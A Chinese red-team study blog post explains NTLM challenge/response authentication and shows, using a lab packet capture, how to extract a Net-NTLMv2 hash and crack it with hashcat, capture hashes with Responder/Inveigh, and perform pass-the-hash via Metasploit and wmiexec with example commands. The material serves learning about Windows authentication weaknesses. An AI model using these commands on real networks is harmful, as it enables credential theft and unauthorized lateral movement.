zoukankan      html  css  js  c++  java
  • Windows认证 | 网络认证

    在平时的测试中,经常会碰到处于工作组的计算机,处于工作组的计算机之间是无法建立一个可信的信托机构的,只能是点对点进行信息的传输。

    举个例子就是,主机A想要访问主机B上的资源,就要向主机B发送一个存在于主机B上的一个账户,主机B接收以后会在本地进行验证,如果验证成功,才会允许主机A进行相应的访问。

    这里主要说一下基于挑战(Chalenge)/响应(Response)认证机制NTLM协议,对于之前的SMB协议等等就不再进行过多的说明。

    NTLM 协议是一种基于挑战(Chalenge)/响应(Response)认证机制,仅支持Windows的网络认证协议。

    它主要分为协商、质询和验证三个步骤

    协商,这个是为了解决历史遗留问题,也就是为了向下兼容,双方先确定一下传输协议的版本等各种信息。

    质询,这一步便是Chalenge/Response认证机制的关键之处,下面会介绍这里的步骤。

    验证,对质询的最后结果进行一个验证,验证通过后,即允许访问资源

    ** 质询的完整过程 **

    ** 首先,client会向server发送一个username,这个username是存在于server上的一个用户。

    ** 当server接收到这个信息时,首先会在本地查询是否存在这样的一个用户,如果不存在,则直接返回认证失败,如果存在,将会生成一个16位的随机字符,即Chalenge,然后用查询到的这个user的NTLM hash对Chalenge进行加密,生成Chalenge1,将Chalenge1存储在本地,并将Chalenge传给client。

    ** 当client接收到Chalenge时,将发送的username所对应的NTLM hash对Chalenge进行加密即Response,并Response发送给server。

    ** 质询到这里就结束了,最后一步就是属于验证的机制了

    ** server在收到Response后,将其与Chalenge1进行比较,如果相同,则验证成功

    大致的流程就是这样子了

    file

    最后再稍微说一下NTLM V2协议,NTLMv1与NTLM v2最显著的区别就是Challenge与加密算法不同,共同点就是加密的原料都是NTLM Hash,NTLM v1的Challenge有8位,NTLM v2的Challenge为16位;NTLM v1的主要加密算法是DES,NTLM v2的主要加密算法是HMAC-MD5。

    我们用实际抓包情况来看一下他们之间的数据传输

    server
    192.168.5.133
    LENOVO/123456
    
    client
    192.168.5.134
    

    在client远程连接server

    net use \192.168.5.133 /u:LENOVO 123456
    

    file

    我们来看一下抓到的数据包

    file

    这四条应该是进行协商的

    file

    前四个数据包对应NTLM认证的四部过程

    我们打开第二个数据包,获得返回的Challenge:d2165f1d10268dc0

    file

    查看第三个数据包可以得到client加密后的Challenge:1b6943212ce6ccf2

    file

    Response数据为

    8582c1c1d54a7a430fc79a0abe09b4040101000000000000f29aefb85f5ad5011b6943212ce6ccf20000000002001e00570049004e002d0044004d0047004d0055004f005000510030003300310001001e00570049004e002d0044004d0047004d0055004f005000510030003300310004001e00570049004e002d0044004d0047004d0055004f005000510030003300310003001e00570049004e002d0044004d0047004d0055004f005000510030003300310007000800f29aefb85f5ad50106000400020000000800300030000000000000000100000000200000f4be3b3312dffac27687742d4f92263e5c1a37792d98c42fa6cd9200a6e15fa80a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0035002e00310033003300000000000000000000000000
    

    file

    接下来便可以使用Hashcat对其进行破解

    NTLMv2的格式为:username::domain:challenge:HMAC-MD5:blob

    *** 注:challenge为NTLMServer Challenge,domian由数据包内容获得(IP或者机器名),HMAC-MD5对应数据包中的NTProofStr,blob对应数据包中Response去掉NTProofStr的后半部分 ***

    file

    所以完整的NTLMv2数据为

    LENOVO::WIN-DMGMUOPQ031:d2165f1d10268dc0:8582c1c1d54a7a430fc79a0abe09b404:0101000000000000f29aefb85f5ad5011b6943212ce6ccf20000000002001e00570049004e002d0044004d0047004d0055004f005000510030003300310001001e00570049004e002d0044004d0047004d0055004f005000510030003300310004001e00570049004e002d0044004d0047004d0055004f005000510030003300310003001e00570049004e002d0044004d0047004d0055004f005000510030003300310007000800f29aefb85f5ad50106000400020000000800300030000000000000000100000000200000f4be3b3312dffac27687742d4f92263e5c1a37792d98c42fa6cd9200a6e15fa80a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0035002e00310033003300000000000000000000000000
    

    然后使用hashcat即可破解

    hashcat -m 5600 LENOVO::WIN-DMGMUOPQ031:d2165f1d10268dc0:8582c1c1d54a7a430fc79a0abe09b404:0101000000000000f29aefb85f5ad5011b6943212ce6ccf20000000002001e00570049004e002d0044004d0047004d0055004f005000510030003300310001001e00570049004e002d0044004d0047004d0055004f005000510030003300310004001e00570049004e002d0044004d0047004d0055004f005000510030003300310003001e00570049004e002d0044004d0047004d0055004f005000510030003300310007000800f29aefb85f5ad50106000400020000000800300030000000000000000100000000200000f4be3b3312dffac27687742d4f92263e5c1a37792d98c42fa6cd9200a6e15fa80a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0035002e00310033003300000000000000000000000000/root/123.list -o balabala.txt --force
    

    -m:hash-type,5600对应NetNTLMv2,详细参数可查表:https://hashcat.net/wiki/doku.php

    -o:输出文件

    字典文件为/root/123.list

    --force代表强制执行,测试系统不支持Intel OpenCL

    file

    file

    最后可以看到已经成功爆破出密码

    file

    当然在实际的测试环境中,我们不可能使用这样的方法去获取,可以使用中间人攻击的方式来获取Net-NTLMhash,常用的两个工具是ResponderInveigh

    Responder:python编写

    https://github.com/lgandx/Responder
    

    Inveigh:powershell编写

    https://github.com/Kevin-Robertson/Inveigh
    

    我们在client上运行Inveigh,当我们通过命令行连接的时候,就可以获取到Net-NTLMv2 hash。

    首先先执行powershell

    Import-Module .Inveigh.psd1
    Invoke-Inveigh -consoleoutput Y
    

    file

    此时就会抓到传输中的Net-NTLMv2 hash

    file

    然后再进行破解就可以了

    但是,当我们无法对其进行破解时,还有一种方法可以用来利用,那就是PTH,即Pass The Hash(哈希传递),哈希传递是能够在不需要账户明文密码的情况下完成认证的一个技术,在使用这种技术的时候,我们不光需要用户的的NTLM Hash,还需要知道它的用户名。

    哈希传递,正是利用了点对点认证没有第三方信托机构的缺点来完成的

    首先我们先向server发送用户的用户名,等待server返回Chanllenge,然后我们使用用户名对应的NTLM Hash将服务器给出的 Chanllenge加密,生成一个Response,来完成认证。

    至于利用工具的话

    1.msf有下面的模块

    exploit/windows/smb/psexec_psh
    

    2.kali有pth工具集

    file

    3.还有基于python的wmiexec

    https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
    

    注:

    wmiexec.py的注释中提示"Mainadvantage here is it runs under the user (has to be Admin) account",经实际测试普通用户权限即可

    wmiexec.py的hash参数格式为LMHASH:NTHASH,如果系统默认不支持LM hash,将LM hash设定为任意值即可

    参数实例:

    wmiexec -hashes00000000000000000000000000000000:7ECFFFF0C3548187607A14BAD0F88BB1TEST/test1@192.168.1.1 "whoami"
    

    4.还有基于powershell的

    https://github.com/Kevin-Robertson/Invoke-TheHash/
    

    5.感觉最好用的应该还是cs中自带的那个功能,方便又快捷。

    如果对NTLM感兴趣的可以去了解了解下面的两篇文章

    http://davenport.sourceforge.net/ntlm.html
    
    https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
    

    文章首发公众号:无心的梦呓(wuxinmengyi)

    这是一个记录红队学习、信安笔记,个人成长的公众号

    扫码关注即可

    file

  • 相关阅读:
    Java知识点:javac命令
    Java知识点:内部类
    证明:寝室分配问题是NPC问题
    Java知识点:Object类
    Java 知识点:序列化
    Python3玩转儿 机器学习(2)
    Python3玩转儿 机器学习(1)
    python re模块findall使用
    百度URL 部分参数
    python datetime模块
  • 原文地址:https://www.cnblogs.com/wuxinmengyi/p/11599406.html
Copyright © 2011-2022 走看看